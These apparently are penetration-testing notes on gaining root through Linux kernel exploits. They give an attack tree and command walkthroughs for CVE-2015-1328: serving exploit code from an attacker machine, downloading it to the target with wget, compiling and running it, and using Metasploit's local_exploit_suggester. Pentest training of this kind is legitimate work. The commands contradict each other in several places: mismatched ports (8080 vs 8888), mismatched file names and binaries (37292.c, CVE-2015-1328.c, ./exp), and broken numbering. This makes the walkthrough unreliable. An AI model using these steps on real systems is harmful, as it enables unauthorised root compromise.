Kernel vulnerability exploits

Attack tree

1 Become root on Linux via kernel exploit
    1.1 Identify the kernel version (AND)
    1.2 Detect vulnerabilities (AND)
    1.3 Develop or acquire exploit code (AND)
    1.4 Transfer the exploit to the target machine (AND)
    1.5 Execute the exploit on the target

Example: CVE-2015-1328

For CVE-2015-1328 exploit-db lists several possible exploits:

Using 37292

  1. Create a local file 37292.c in the /tmp/ directory and paste the code in the file

  2. Start a local python http server: python -m http.server 8080

  3. From the target machine: wget http://<IP address attack machine>:8888/37292.c

  4. Compile on target machine: gcc CVE-2015-1328.c -o 37292

  5. Make executable: chmod +x 37292

  6. Check current user: id

  7. Run the compiled exploit: ./exp

  8. Check current user: id

Using 40688

  1. Upgrade existing shell (meterpreter, ssh, or a basic command shell) to meterpreter session

Open a new meterpreter session with:

sessions -u <number>

Or upgrade the most recently opened session to meterpreter:

sessions -u -1
  1. Load the local_exploit_suggester module in msfconsole:

meterpreter> use post/multi/recon/local_exploit_suggester
  1. Set the SESSION option for the module to the session ID of the meterpreter session, and run

  2. Test the exploit modules recommended by local_exploit_suggester. The first few modules in the output usually have a higher chance of working successfully.

  3. Load a module, set the module options and exploit

  4. An exploit can fail for many reasons. If not works, try the next one or install missing components for it to run.


A failed kernel exploit can lead to a system crash. Make sure this potential outcome is acceptable within the scope of the penetration testing engagement before attempting a kernel exploit.

You can transfer the exploit code from your machine to the target system using the SimpleHTTPServer Python module and wget respectively.